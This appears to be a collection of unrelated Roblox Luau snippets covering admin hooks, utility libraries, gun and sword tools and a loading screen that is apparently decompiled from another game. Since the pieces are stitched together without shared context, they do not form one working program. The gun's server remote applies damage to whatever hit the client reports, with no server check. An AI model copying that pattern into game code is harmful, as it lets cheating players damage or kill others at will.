service = require(Folder.Shared.Service)(function(eType, msg, desc, ...)
local extra = {...}
if eType == "MethodError" then
if server and server.Logs and server.Logs.AddLog then
server.Logs.AddLog("Script", {
Text = "Cached method doesn't match found method: "..tostring(extra[1]);
Desc = "Method: "..tostring(extra[1])
})
end
elseif eType == "ServerError" then
--print("Server error")
logError("Server", msg)
elseif eType == "TaskError" then
--print("Task error")
logError("Task", msg)
end
end, function(c, parent, tab)
if not isModule(c) and c ~= server.Loader and c ~= server.Dropper and c ~= server.Runner and c ~= server.Model and c ~= script and c ~= Folder and parent == nil then
tab.UnHook()
end
end, ServiceSpecific, GetEnv(nil, {server = server}))
|
----------------------------------
------------FUNCTIONS-------------
----------------------------------
|
function Jump()
local character = Player.Character
if character then
local humanoid = character:FindFirstChild("Humanoid")
if humanoid then
humanoid.Jump = true
end
end
end
function HumanoidChanged(humanoid, property)
--print(property)
if property == "Jump" then
humanoid.Jump = false
elseif property == "Sit" then
humanoid.Sit = true
elseif property == "Parent" then
Deactivate()
Abort()
end
end
function HumanoidDied()
Deactivate()
end
function SetCamera(cframe)
Camera.CameraType = Enum.CameraType.Scriptable
Camera:Interpolate(cframe, cframe + cframe.lookVector, .5)
--Camera.CoordinateFrame = cframe
end
function ReturnCamera()
Camera.CameraType = Enum.CameraType.Custom
end
|
--[[
game.ReplicatedStorage.ToggleSleeping.OnServerEvent:Connect(function()
workspace.Ignore.Zombies.Snowfella.RootPart:SetAttribute("Sleeping", not workspace.Ignore.Zombies.Snowfella.RootPart:GetAttribute("Sleeping"))
end)
]]
|
game.Players.PlayerAdded:Connect(function(ply)
ply:WaitForChild("InGame").Value = true
--[[
ply.CharacterAdded:Connect(function()
ply:WaitForChild("InGame").Value = true
end)
]]
end)
|
--local GROUP_ID = replace with wanted group ID(s), separate with comma
--local GROUP_RANK = replace with wanted group rank(s), e.g. 255, separate wtih comma
|
return function (registry)
registry:RegisterHook("BeforeRun", function(context)
if context.Group == "DefaultAdmin" and context.Executor.UserId ~= game.CreatorId then
return "You don't have permission to run this command"
end
--if context.Group == "DefaultAdmin" and not (context.Executor:GetRankInGroup(GROUP_ID) == GROUP_RANK) then
--return "You don't have permission to run this command"
--end
--remove --s here to enable for group usage
registry:RegisterHook("AfterRun", function(context)
print(context.Response) -- see the actual response from the command execution
return "Command has been run."
end)
end)
end
|
--Returns whether the given position is under cover
|
local function UnderObject(pos, l)
l = l or 120
local hit, position = Workspace:FindPartOnRayWithIgnoreList(Ray.new(pos, UpVec * l), ignoreList)
if hit then
return hit.Transparency ~= 1 and true or UnderObject(position + UpVec, l - (pos - position).Magnitude)
else
return false
end
end
|
--[=[
@param object any -- Object to remove
Removes the object from the Trove and cleans it up.
```lua
local part = Instance.new("Part")
trove:Add(part)
trove:Remove(part)
```
]=]
|
function Trove:Remove(object: any): boolean
local objects = self._objects
for i,obj in ipairs(objects) do
if obj[1] == object then
local n = #objects
objects[i] = objects[n]
objects[n] = nil
self:_cleanupObject(obj[1], obj[2])
return true
end
end
return false
end
|
--[=[
Constructs a new symbol
@param id any -- Identifier for the symbol (usually a string)
@param scope Symbol? -- Optional symbol scope
@return boolean -- Returns `true` if the `obj` parameter is a Symbol
]=]
|
function Symbol.new(id: any, scope: any)
assert(id ~= nil, "Symbol ID cannot be nil")
if scope ~= nil then
assert(Symbol.Is(scope), "Scope must be a Symbol or nil")
end
local self = setmetatable({
ClassName = CLASSNAME;
_id = id;
_scope = scope;
}, Symbol)
return self
end
|
-- Smart Circle mode needs the intersection of 2 rays that are known to be in the same plane
-- because they are generated from cross products with a common vector. This function is computing
-- that intersection, but it's actually the general solution for the point halfway between where
-- two skew lines come nearest to each other, which is more forgiving.
|
local function RayIntersection(p0: Vector3, v0: Vector3, p1: Vector3, v1: Vector3): Vector3
local v2 = v0:Cross(v1)
local d1 = p1.X - p0.X
local d2 = p1.Y - p0.Y
local d3 = p1.Z - p0.Z
local denom = Det3x3(v0.X,-v1.X,v2.X,v0.Y,-v1.Y,v2.Y,v0.Z,-v1.Z,v2.Z)
if (denom == 0) then
return ZERO_VECTOR3 -- No solution (rays are parallel)
end
local t0 = Det3x3(d1,-v1.X,v2.X,d2,-v1.Y,v2.Y,d3,-v1.Z,v2.Z) / denom
local t1 = Det3x3(v0.X,d1,v2.X,v0.Y,d2,v2.Y,v0.Z,d3,v2.Z) / denom
local s0 = p0 + t0 * v0
local s1 = p1 + t1 * v1
local s = s0 + 0.5 * ( s1 - s0 )
-- 0.25 studs is a threshold for deciding if the rays are
-- close enough to be considered intersecting, found through testing
if (s1-s0).Magnitude < 0.25 then
return s
else
return ZERO_VECTOR3
end
end
|
--BaseRay.Transparency = 1
|
BaseRayMesh = Instance.new("SpecialMesh")
BaseRayMesh.Name = "Mesh"
BaseRayMesh.MeshType = Enum.MeshType.Brick
BaseRayMesh.Scale = Vector3.new(0.2, 0.2, 1)
BaseRayMesh.Offset = Vector3.new(0, 0, 0)
BaseRayMesh.VertexColor = Vector3.new(1, 1, 1)
BaseRayMesh.Parent = BaseRay
ServerControl = (Remotes:FindFirstChild("ServerControl") or Instance.new("RemoteFunction"))
ServerControl.Name = "ServerControl"
ServerControl.Parent = Remotes
ClientControl = (Remotes:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Remotes
Light.Enabled = false
Tool.Enabled = true
function RayTouched(Hit, Position)
if Configuration.DestroyParts.Value then
Hit:Destroy()
end
if Configuration.SuperPartDestruction.Value then
Hit.Archivable = false
Hit:Destroy()
end
if not Hit or not Hit.Parent then
return
end
local character = Hit.Parent
if character:IsA("Hat") then
character = character.Parent
end
if character == Character then
return
end
local humanoid = character:FindFirstChildOfClass('Humanoid')
if not humanoid or humanoid.Health == 0 then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and Functions.IsTeamMate(Player, player) then
return
end
local DeterminedDamage = math.random(Configuration.Damage.MinValue, Configuration.Damage.MaxValue)
Functions.UntagHumanoid(humanoid)
Functions.TagHumanoid(humanoid, Player)
if Configuration.InstantKill.Value then
humanoid.Health = 0
end
if Configuration.IgnoreForceField.Value then
if Hit.Name == 'Head' then
humanoid.Health = humanoid.Health - math.random(Configuration.Damage.MinValue, Configuration.Damage.MaxValue) * Configuration.HeadShotMultiplier.Value
Sounds.HeadShot:Play()
else
humanoid.Health = humanoid.Health - math.random(Configuration.Damage.MinValue, Configuration.Damage.MaxValue)
end
else
if Hit.Name == 'Head' then
humanoid:TakeDamage(DeterminedDamage * Configuration.HeadShotMultiplier.Value)
humanoid.WalkSpeed = humanoid.WalkSpeed / 4
local drainscript = script.Parent.Drain:Clone()
drainscript.Parent = humanoid.Parent
drainscript.Disabled = false
Sounds.HeadShot:Play()
else
humanoid:TakeDamage(DeterminedDamage)
humanoid.WalkSpeed = humanoid.WalkSpeed / 2
end
end
end
function CheckIfAlive()
return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false)
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
if not CheckIfAlive() then
return
end
ToolEquipped = true
end
function Unequipped()
ToolEquipped = false
end
function InvokeClient(Mode, Value)
local ClientReturn = nil
pcall(function()
ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
end)
return ClientReturn
end
ServerControl.OnServerInvoke = (function(player, Mode, Value)
if player ~= Player or not ToolEquipped or not CheckIfAlive() or not Mode or not Value then
return
end
if Mode == "Fire" then
Sounds.Fire:Play()
FX:Emit(3)
if Configuration.AddRecoil.Value then
if Recoil.Disabled then
Recoil.Disabled = false
delay(0.01, function()
Recoil.Disabled = true
end)
end
end
elseif Mode == "RayHit" then
local RayHit = Value.Hit
local RayPosition = Value.Position
if RayHit and RayPosition then
RayTouched(RayHit, RayPosition)
end
elseif Mode == "CastLaser" then
local StartPosition = Value.StartPosition
local TargetPosition = Value.TargetPosition
local RayHit = Value.RayHit
if not StartPosition or not TargetPosition or not RayHit then
return
end
for i, v in pairs(Players:GetPlayers()) do
if v:IsA("Player") and v ~= Player then
local Backpack = v:FindFirstChild("Backpack")
if Backpack then
local LaserScript = CastLaser:Clone()
local StartPos = Instance.new("Vector3Value")
StartPos.Name = "StartPosition"
StartPos.Value = StartPosition
StartPos.Parent = LaserScript
local TargetPos = Instance.new("Vector3Value")
TargetPos.Name = "TargetPosition"
TargetPos.Value = TargetPosition
TargetPos.Parent = LaserScript
local RayHit = Instance.new("BoolValue")
RayHit.Name = "RayHit"
RayHit.Value = RayHit
RayHit.Parent = LaserScript
LaserScript.Disabled = false
Debris:AddItem(LaserScript, 1.5)
LaserScript.Parent = Backpack
end
end
end
end
end)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--//Controller//--
|
Trigger.Triggered:Connect(function(Player)
SpawnEvent:FireClient(Player, SpawnPoint)
end)
|
--[=[
Throttles the update to the end of the defer lane. Can help optimize scenarios when
Compute() can trigger multiple times per a frame.
Generally not needed.
@param observable Observable<T>
@return Observable<T>
]=]
|
function Blend.Throttled(observable)
return observable:Pipe({
Rx.throttleDefer();
})
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__RunService__1 = game:GetService("RunService");
local l__Parent__2 = script.Parent;
local l__Background__3 = l__Parent__2.Background;
local l__LogoFrame__4 = l__Background__3.LogoFrame;
local l__TweenService__1 = game:GetService("TweenService");
function tween(p1, p2, p3)
l__TweenService__1:Create(p1, TweenInfo.new(p2), p3):Play();
end;
local l__Logo__2 = l__LogoFrame__4.Logo;
function displayLoadingScreen()
l__Parent__2.Enabled = true;
l__Background__3.BackgroundTransparency = 0;
tween(l__Background__3.CircleLeft.UIStroke, 3, {
Transparency = 0
});
tween(l__Background__3.CircleRight.UIStroke, 3, {
Transparency = 0
});
task.wait(3);
local v5, v6, v7 = pairs(l__Logo__2:GetChildren());
while true do
local v8, v9 = v5(v6, v7);
if v8 then
else
break;
end;
v7 = v8;
if v9.ClassName == "Frame" then
v9.UIPageLayout.TweenTime = 0.75;
v9.UIPageLayout:JumpTo(v9.ImageLabel);
tween(v9.ImageLabel, 1, {
ImageTransparency = 0
});
task.wait();
end;
end;
tween(l__LogoFrame__4.LoadingText, 1, {
TextTransparency = 0
});
task.wait(2);
if not game:IsLoaded() then
game.Loaded:Wait();
end;
local v10, v11, v12 = pairs(l__Logo__2:GetChildren());
while true do
local v13, v14 = v10(v11, v12);
if v13 then
else
break;
end;
v12 = v13;
if v14.ClassName == "Frame" then
v14.UIPageLayout.TweenTime = 2;
v14.UIPageLayout:JumpTo(v14.Frame);
tween(v14.ImageLabel, 0.15, {
ImageTransparency = 1
});
task.wait();
end;
end;
tween(l__LogoFrame__4.LoadingText, 1, {
TextTransparency = 1
});
tween(l__Background__3.CircleLeft.UIStroke, 1, {
Transparency = 1
});
tween(l__Background__3.CircleRight.UIStroke, 1, {
Transparency = 1
});
tween(l__Background__3, 3, {
BackgroundTransparency = 1
});
task.wait(3);
l__Parent__2.Enabled = false;
end;
game:GetService("ReplicatedFirst"):RemoveDefaultLoadingScreen();
if not l__RunService__1:IsStudio() then
displayLoadingScreen();
end;
|
--[[local SwordMesh = Handle:WaitForChild("SwordMesh")
SwordMesh.VertexColor = Vector3.new(1,1,1) -- Keep it normal]]
|
local Properties = {
Damage = 14,
Special = true,
SpecialReload = 30,
SpecialActive = false,
TimetoChange = 12,
LightTeleport = true
}
local Sounds = {
Lunge = Handle:WaitForChild("Lunge"),
Unsheath = Handle:WaitForChild("Unsheath")
}
local Remote = Tool:FindFirstChildOfClass("RemoteEvent") or Create("RemoteEvent"){
Name = "Remote",
Parent = Tool
}
local MousePos = Tool:FindFirstChildOfClass("RemoteFunction") or Create("RemoteFunction"){
Name = "MouseInput",
Parent = Tool
}
local function SunIsVisible(Character)
local dir = Services.Lighting:GetSunDirection()
if Vector3.new(0,1,0):Dot(dir) > 0 then
-- BUG: particles block raycast
local hit = workspace:FindPartOnRay(Ray.new(Handle.Position,dir*999),Character)
if not hit or (hit and not hit.CanCollide)then
return true
end
end
return false
end
function IsInTable(Table,Value)
for _,v in pairs(Table) do
if v == Value then
return true
end
end
return false
end
local function Wait(para) -- bypasses the latency
local Initial = tick()
repeat
Services.RunService.Stepped:Wait()
until tick()-Initial >= para
end
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Services.Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
local function EnableParticles(Verdict)
for _,stuff in pairs(Handle:GetDescendants()) do
if (stuff:IsA("ParticleEmitter") and stuff.Parent ~= Handle) or stuff:IsA("Light") then
stuff.Enabled = Verdict
end
if stuff:IsA("Light") then
stuff.Range = (Verdict and 10) or 3
end
end
end
local function SpecialParticles(Verdict)
for _,stuff in pairs(Handle:GetDescendants()) do
if stuff:IsA("ParticleEmitter") and stuff.Parent == Handle then
stuff.Enabled = Verdict
end
if stuff:IsA("Beam") then
stuff.TextureSpeed = (Verdict and 1) or .1
stuff.Color = (Verdict and ColorSequence.new(Color3.new(1,1,1)) or ColorSequence.new(Color3.new(.5,.5,.5)))
end
end
end
local Player,Character,Humanoid,Root
function PassiveSpecial()
--Sword of light does healing + Damage resistance when the sun is out
--Check if Daytime then roll with ability
--loop until time is not daytime
if not Humanoid or Humanoid.Health <= 0 or not Character then return end
if not SunIsVisible(Character) then
--print("Sun is not visible")
EnableParticles(false)
Properties.SpecialActive = false
if Humanoid and Tool:IsDescendantOf(Character) then
Humanoid.WalkSpeed = 16
Properties.Damage = 14
end
--[[Disable particles on sword]]
return
end
if Humanoid and Tool:IsDescendantOf(Character) then
Humanoid.WalkSpeed = 25
Properties.Damage = 20
end
--Trigger active particles on sword
if not Character:FindFirstChild(script:WaitForChild("SoLDefense").Name) and Tool:IsDescendantOf(Character) then
local DefenseScript = script:WaitForChild("SoLDefense"):Clone()
local ToolRef = Create("ObjectValue"){
Name = "ToolRef",
Value = Tool,
Parent = DefenseScript
}
DefenseScript.Parent = Character
DefenseScript.Disabled = false
end
if Properties.SpecialActive then --[[print("On Cooldown")]] return end
--SwordMesh.VertexColor = Vector3.new(1,1,1) * 10 -- Make the sword look all bright
Properties.SpecialActive = true
EnableParticles(true)
end
local Animations = {}
function ChangeTime(Time) --initiate the cool time-chaning effect!
if not Properties.Special then return end
--warn("Changing Time")
Properties.Special = false
SpecialParticles(false)
Tool.Enabled = false
Humanoid.WalkSpeed = 0
Animations.Summon:Play()
delay(3,function()
PassiveSpecial()
Tool.Enabled = true
Animations.Summon:Stop()
--Humanoid.WalkSpeed = (Humanoid.WalkSpeed <=0 and 16) or Humanoid.WalkSpeed
end)
delay(Properties.SpecialReload,function()
Properties.Special = true
SpecialParticles(true)
end)
local TimeChange = script:WaitForChild("TimeChange"):Clone()
local SpawnPosition = Create("Vector3Value"){
Name = "SpawnPosition",
Value = Root.Position - Vector3.new(0,Root.Size.Y * 1.5,0),
Parent = TimeChange,
}
local Creator = Create("ObjectValue"){
Name = "Creator",
Value = Player,
Parent = TimeChange
}
local Time = Create("NumberValue"){
Name = "Time",
Value = Time,
Parent = TimeChange
}
TimeChange.Parent = Services.ServerScriptService
TimeChange.Disabled = false
end
local function LightTransport()
local LightWarpScript = script:WaitForChild("LightWarp")
local function IsWarping()
local stuff = Services.ServerScriptService:GetChildren()
for i=1,#stuff do
if stuff[i] and stuff[i].Name == LightWarpScript.Name and stuff[i]:FindFirstChild("Character") and stuff[i]:FindFirstChild("Character").Value == Character then
return true
end
end
return false
end
if IsWarping() then return end
local sucess,MousePosition = pcall(function() return MousePos:InvokeClient(Player) end)
MousePosition = (sucess and MousePosition) or Vector3.new(0,0,0)
LightWarpScript = LightWarpScript:Clone()
local CharacterTag = Create("ObjectValue"){
Name = "Character",
Value = Character,
Parent = LightWarpScript
}
local TargetLocation = Create("Vector3Value"){
Name = "TargetLocation",
Value = MousePosition,
Parent = LightWarpScript
}
local Range = Create("NumberValue"){
Name = "Range",
Value = (Properties.SpecialActive and 200) or 100,
Parent = LightWarpScript
}
LightWarpScript.Parent = Services.ServerScriptService
LightWarpScript.Disabled = false
end
local EquippedEvents = {}
local Touch
local MouseHeld = false
local CurrentMotor,RightWeld,Part0,Part1
function Equipped()
Character = Tool.Parent
Player = Services.Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChildOfClass("Humanoid")
Root = Character:WaitForChild("HumanoidRootPart")
if not Humanoid or Humanoid.Health <= 0 then return end
Animations = Tool:WaitForChild("Animations"):WaitForChild(Humanoid.RigType.Name)
Animations = {
Slash = Humanoid:LoadAnimation(Animations:WaitForChild("SlashAnim")),
Stab = Humanoid:LoadAnimation(Animations:WaitForChild("StabAnim")),
Summon = Humanoid:LoadAnimation(Animations:WaitForChild("SummonAnim")),
Charge = Humanoid:LoadAnimation(Animations:WaitForChild("ChargeAnim")),
}
Touch = Handle.Touched:Connect(function(hit)
if not hit or not hit.Parent then return end
local Hum,FF = hit.Parent:FindFirstChildOfClass("Humanoid"),hit.Parent:FindFirstChildOfClass("ForceField")
if not Hum or FF or Hum.Health <= 0 or IsTeamMate(Services.Players:GetPlayerFromCharacter(Hum.Parent),Player) or Hum.Parent == Character then return end
UntagHumanoid(Hum)
TagHumanoid(Hum,Player)
Hum:TakeDamage(Properties.Damage)
print(Properties.Damage)
end)
PassiveSpecial()
Sounds.Unsheath:Play()
end
function Unequipped()
MouseHeld = false
if Touch then Touch:Disconnect();Touch = nil end
for AnimName,anim in pairs(Animations) do
if anim then
anim:Stop()
end
end
if CurrentMotor then
CurrentMotor:Destroy()
end
if Tool:IsDescendantOf(workspace) and not Tool:IsDescendantOf(Character) then
for index = 1,#EquippedEvents do
if EquippedEvents[index] then
EquippedEvents[index]:Disconnect();EquippedEvents[index] = nil
end
end
end
end
local Seed = Random.new()
function Activated()
if not Tool.Enabled or MouseHeld then return end
MouseHeld = true
Animations.Charge:Play()
end
function Deactivated()
if not Tool.Enabled or not MouseHeld then return end
MouseHeld = false
Tool.Enabled = false
local RightLimb = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand")
if RightLimb then
RightWeld = RightLimb:FindFirstChildOfClass("Weld")
if RightWeld and not CurrentMotor then
CurrentMotor = Create'Motor6D'{
Name = 'Grip',
--C0 = RightWeld.C0,
--C1 = Tool.Grip,--RightWeld.C1,
Part0 = RightWeld.Part0,
Part1 = Handle,
--Parent = RightArm
}
CurrentMotor.Parent = RightLimb
end
coroutine.wrap(function()
if RightWeld then
Part0 = RightWeld.Part0
Part1 = RightWeld.Part1
RightWeld.Part0 = nil
RightWeld.Part1 = nil
end
end)()
end
local AttackAnims = {--[[Animations.Slash,]]Animations.Stab}
Sounds.Lunge:Play()
Animations.Charge:Stop()
local Anim = AttackAnims[Seed:NextInteger(1,#AttackAnims)]
Anim:Play(0,nil,3);--Anim.Stopped:Wait()
Wait(Anim.Length/3)
if RightWeld then
RightWeld.Part0 = Part0
RightWeld.Part1 = Part1
end
if CurrentMotor then
CurrentMotor:Destroy();CurrentMotor = nil
end
Tool.Enabled = true
end
Remote.OnServerEvent:Connect(function(Client,Key)
if Client ~= Player or not Key or not Humanoid or Humanoid.Health <= 0 or not Tool.Enabled then return end
if Key == Enum.KeyCode.Q then
ChangeTime(Properties.TimetoChange)
elseif Key == Enum.KeyCode.E and Properties.LightTeleport then
Properties.LightTeleport = false
delay(5,function()
Properties.LightTeleport = true
end)
LightTransport()
end
end)
Tool.Equipped:Connect(Equipped)
Tool.Unequipped:Connect(Unequipped)
Tool.Activated:Connect(Activated)
Tool.Deactivated:Connect(Deactivated)
Services.Lighting.Changed:Connect(function(property)
if property == "ClockTime" then
PassiveSpecial()
end
end)
EnableParticles(false)
SpecialParticles(true)
PassiveSpecial()--trigger it initially on start
|
-- Admins List --
|
local Owners = {"Put Name Here"} --Has no limitations but can only be given through this script here
local SuperAdmins = {"Put Name Here"} --Desc when done
local Admins = {"Put Name Here"} --Desc when done
local Mods = {"Put Name Here"} --Desc when done
|
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